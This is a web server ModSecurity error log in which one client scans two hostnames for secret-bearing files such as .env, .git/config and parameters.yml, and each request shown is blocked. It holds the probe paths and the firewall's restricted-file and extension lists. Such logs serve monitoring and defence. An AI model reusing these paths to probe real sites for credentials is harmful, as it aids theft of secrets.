[Sun Oct 25 04:06:26.824221 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at24gqrU4NwppjTEGaL6twAAAAY"]
[Sun Oct 25 04:06:26.881411 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at24gqrU4NwppjTEGaL6twAAAAY"]
[Sun Oct 25 04:06:26.881687 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at24gqrU4NwppjTEGaL6twAAAAY"]
[Sun Oct 25 04:06:26.882958 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.git/config"] [unique_id "at24glTnwNJm6o1fQZIi3AAAAAI"]
[Sun Oct 25 04:06:26.883092 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.git/config"] [unique_id "at24glTnwNJm6o1fQZIi3AAAAAI"]
[Sun Oct 25 04:06:26.883316 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.git/config"] [unique_id "at24glTnwNJm6o1fQZIi3AAAAAI"]
[Sun Oct 25 04:06:26.825020 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.git/config"] [unique_id "at24gi7GhhaIo05efijDRwAAAAc"]
[Sun Oct 25 04:06:26.887578 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.git/config"] [unique_id "at24gi7GhhaIo05efijDRwAAAAc"]
[Sun Oct 25 04:06:26.887860 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/.git/config"] [unique_id "at24gi7GhhaIo05efijDRwAAAAc"]
[Sun Oct 25 04:06:26.825705 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at24gtxXWZMI2DaSlsHxWwAAABY"]
[Sun Oct 25 04:06:26.888286 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at24gtxXWZMI2DaSlsHxWwAAABY"]
[Sun Oct 25 04:06:26.921307 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at24gtxXWZMI2DaSlsHxWwAAABY"]
[Sun Oct 25 04:06:26.921349 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at24gtxXWZMI2DaSlsHxWwAAABY"]
[Sun Oct 25 04:06:26.921384 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at24gtxXWZMI2DaSlsHxWwAAABY"]
[Sun Oct 25 04:06:26.829983 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at24ggLaiqtlZaJBsx4X-QAAAA0"]
[Sun Oct 25 04:06:26.978141 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/config/development.ini"] [unique_id "at24gqrU4NwppjTEGaL6uAAAAAY"]
[Sun Oct 25 04:06:26.978331 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/config/development.ini"] [unique_id "at24gqrU4NwppjTEGaL6uAAAAAY"]
[Sun Oct 25 04:06:26.978592 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/config/development.ini"] [unique_id "at24gqrU4NwppjTEGaL6uAAAAAY"]
[Sun Oct 25 04:06:27.008160 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/config/development.ini"] [unique_id "at24g9xXWZMI2DaSlsHxXAAAABY"]
[Sun Oct 25 04:06:27.008399 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/config/development.ini"] [unique_id "at24g9xXWZMI2DaSlsHxXAAAABY"]
[Sun Oct 25 04:06:27.008633 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/config/development.ini"] [unique_id "at24g9xXWZMI2DaSlsHxXAAAABY"]
[Sun Oct 25 04:06:27.026075 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/config/parameters.yml.dist"] [unique_id "at24g568N771hz7W4KlscgAAAAw"]
[Sun Oct 25 04:06:27.026220 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/config/parameters.yml.dist"] [unique_id "at24g568N771hz7W4KlscgAAAAw"]
[Sun Oct 25 04:06:27.026505 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/config/parameters.yml.dist"] [unique_id "at24g568N771hz7W4KlscgAAAAw"]
[Sun Oct 25 04:06:27.026662 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/config/parameters.yml"] [unique_id "at24gy7GhhaIo05efijDSAAAAAc"]
[Sun Oct 25 04:06:27.026794 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/config/parameters.yml"] [unique_id "at24gy7GhhaIo05efijDSAAAAAc"]
[Sun Oct 25 04:06:27.027020 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/app/config/parameters.yml"] [unique_id "at24gy7GhhaIo05efijDSAAAAAc"]
[Sun Oct 25 04:06:27.029336 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/config/parameters.yml"] [unique_id "at24gwLaiqtlZaJBsx4X-wAAAA0"]
[Sun Oct 25 04:06:27.029622 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/config/parameters.yml"] [unique_id "at24gwLaiqtlZaJBsx4X-wAAAA0"]
[Sun Oct 25 04:06:27.085241 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/config/parameters.yml"] [unique_id "at24gwLaiqtlZaJBsx4X-wAAAA0"]
[Sun Oct 25 04:06:27.086188 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/config/parameters.yml.dist"] [unique_id "at24g4HtOs-nfC4GshpR2wAAABc"]
[Sun Oct 25 04:06:27.109632 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/config/parameters.yml.dist"] [unique_id "at24g4HtOs-nfC4GshpR2wAAABc"]
[Sun Oct 25 04:06:27.109990 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/config/parameters.yml.dist"] [unique_id "at24g4HtOs-nfC4GshpR2wAAABc"]
[Sun Oct 25 04:06:27.320338 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at24g568N771hz7W4KlsdQAAAAw"]
[Sun Oct 25 04:06:27.320514 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at24g568N771hz7W4KlsdQAAAAw"]
[Sun Oct 25 04:06:27.332620 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at24g568N771hz7W4KlsdQAAAAw"]
[Sun Oct 25 04:06:27.365333 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at24gy7GhhaIo05efijDSwAAAAc"]
[Sun Oct 25 04:06:27.365506 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at24gy7GhhaIo05efijDSwAAAAc"]
[Sun Oct 25 04:06:27.365776 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at24gy7GhhaIo05efijDSwAAAAc"]
